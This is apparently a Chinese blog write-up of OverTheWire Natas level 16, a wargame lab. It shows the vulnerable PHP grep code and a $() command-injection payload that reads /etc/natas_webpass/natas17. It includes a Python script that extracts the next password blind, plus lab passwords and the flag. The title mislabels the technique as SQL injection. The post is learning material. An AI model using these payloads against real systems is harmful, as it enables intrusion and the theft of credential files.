Natas Wargame Level 16 Writeup(Content-based Blind SQL Injection)

sourcecode核心代码:

 1 <?php
 2 $key = "";
 3 
 4 if(array_key_exists("needle", $_REQUEST)) {
 5     $key = $_REQUEST["needle"];
 6 }
 7 
 8 if($key != "") {
 9     if(preg_match('/[;|&`\'"]/',$key)) {
10         print "Input contains an illegal character!";
11     } else {
12         passthru("grep -i \"$key\" dictionary");
13     }
14 }
15 ?>

可以发现,这个题对许多控制字符进行了过滤: ; | & ' "

也注意到这个政策表达式没有将 $ - + . * ^ % # 等过滤。

关于$在bash中的用法,请参照"man bash",在这里主要用到的是$()——命令替换(command substitution)。

http://wiki.jikexueyuan.com/project/13-questions-of-shell/eight.html

由于passthru语句是 grep -i “xxxxxx” dictionary,联想到能不能由grep的执行结果联系到Natas17的password。

先在表单中输入“.”,得到dictionary里的对应内容。在随机输入一串字符,输出结果为空(grep不到对应的字段)。由此可以想到,既然password也是一串“伪随机”的字符串,可以通过用$()返回查询到的password结果,后面接上一个本来就在dictionary里的字符串(我选择的是Africans),如果$()查询错误,相当于不进行替换,则grep -i语句会在dictionary内查询到对应字段并返回。否则返回为空,一旦返回为空,我们就知道了这次查询使用的对应字符(^xxx)在password,从而通过盲注得到密码。

关键语句:

1 grep -i "$(egrep ^xxx /etc/natas_webpass/natas17)Africans" dictionary

若返回为空,则代表此时的x正确,进行下一步的盲注。

 1 import httplib2
 2 from urllib.parse import urlencode
 3 
 4 h = httplib2.Http()
 5 natas16password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
 6 h.add_credentials('natas16', natas16password)
 7 basestr = list(chr(i) for i in range(48, 58)) + list(chr(i) for i in range(65, 91)) + list(
 8     chr(i) for i in range(97, 123))
 9 password = ''
10 index = 0
11 while (len(password) < len(natas16password)):
12     forms = dict(needle="$(egrep ^" + password + basestr[index] + " /etc/natas_webpass/natas17)Africans", submit="Search")
13     print(forms)
14     resp, content = h.request('http://natas16.natas.labs.overthewire.org/?' + urlencode(forms), 'GET')
15     if ('Africans' in str(content)):
16         index = (index + 1) % (123 - 48)
17         if index == 0:
18             print('wrong!')
19         continue
20     else:
21         password += basestr[index]
22         print(password)
23         index = 0
24         continue
25 print('password = ', password)

关于这段脚本的注意事项可以参考前两篇博文。

另:这里虽然是一个表单,但由于html里并未指定方法,所以默认是用GET发过去的。

总结:个人觉得这个题有一些“奇技淫巧”,但还是有据可依的——通过未过滤的字段想到$() ${} $(()) 和一些正则表达式常用语句等等。还要联系实际(查询了dictionary),考虑能不能通过这个查询得到相关的信息,也可以说这个题要求对环境多多考虑一下吧。在现实中,即使sql查询的不是敏感文件,但只要过滤不严格,还是可以通过盲注得到敏感文件的信息的。

flag:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

posted @ 2017-05-15 10:41  QiuhaoLi  阅读(226)  评论(0编辑  收藏  举报